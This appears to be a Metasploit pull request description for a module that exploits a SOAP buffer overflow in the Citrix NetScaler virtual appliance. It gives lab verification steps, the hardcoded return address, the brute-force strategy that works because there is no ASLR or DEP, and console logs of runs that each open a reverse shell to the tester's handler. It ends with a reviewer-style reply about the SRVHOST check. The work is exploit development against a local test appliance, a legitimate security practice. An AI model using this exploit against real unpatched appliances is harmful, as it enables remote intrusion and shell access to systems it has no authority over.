Citrix Netscaler (Virtual Appliance) Buffer Overflow exploit

Recently this blog entry was published:

http://console-cowboys.blogspot.com/2014/09/scaling-netscaler.html

The Virtual Appliance for download in the Citrix homepage is vulnerable still, so ported the original code to a msf module. Maybe can be useful to someone.

The Virtual Appliance can be downloaded from: http://www.citrix.com/products/netscaler-application-delivery-controller/try.html

The file I downloaded is: NSVPX-ESX-10.1-119.7_nc.zip

Its shasum:

```
$ shasum NSVPX-ESX-10.1-119.7_nc.zip
08db3f804a55f2f38c5c659f72e3ed474b44607c  NSVPX-ESX-10.1-119.7_nc.zip
```

Verification steps
-----------

- [ ] Download the virtual appliance
- [ ] Load on vmware
- [ ] Configure network for the virtual appliance
- [ ] Verify which the virtual appliance web interface is reachable (http://<appliance_ip>)
- [ ] Run the check method, verify the SOAP handler is detected:

```
msf exploit(citrix_netscaler_soap_bof) > check
[*] 172.16.158.252:80 - The target service is running, but could not be validated.
```

- [ ] Run the exploit method, the virtual appliance is a FreeBSD. The target apache runs in 32 bits without ASLR/DEP. So control can be transferred directly to the stack. I found using a hardcoded stack address works pretty reliable in a couple of deployments:

```
msf exploit(citrix_netscaler_soap_bof) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.252:80 - Sending soap request...
[*] 172.16.158.252 - Getting request...
[*] 172.16.158.252 - Sending 1024 bytes payload with ret 0xffffda94...
[*] Command shell session 1 opened (172.16.158.1:4444 -> 172.16.158.252:61624) at 2014-10-30 20:41:49 -0500
[*] Server stopped.

id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
^C
Abort session 1? [y/N]  y
```

Of course, since it is transferring control directly to the stack a nop slide plus brute force is used, in the module. I have tested brute force successfully too by disabling the preferred address:

```
msf exploit(citrix_netscaler_soap_bof) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffec00...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffeb00...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffea00...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe900...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe800...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe700...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe600...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe500...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe400...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe300...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe200...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe100...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe000...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffdf00...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffde00...
[*] Command shell session 2 opened (172.16.158.1:4444 -> 172.16.158.251:54642) at 2014-10-30 20:37:17 -0500
[*] Server stopped.

id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
^C
Abort session 2? [y/N]  y

``` 
I can, but the main purpose of the check is to not allow the default '0.0.0.0' value of SRVHOST, since the exploit won't work with that value, and I think could be a common mistake. 

Honestly, my first sense is '127.0.0.1' won't be a common error when configuring the exploit. And I wasn't pursuing building a blacklist with all the bad addresses. 

But, if you think '127.0.0.1' will be a common mistake, then I'll add it.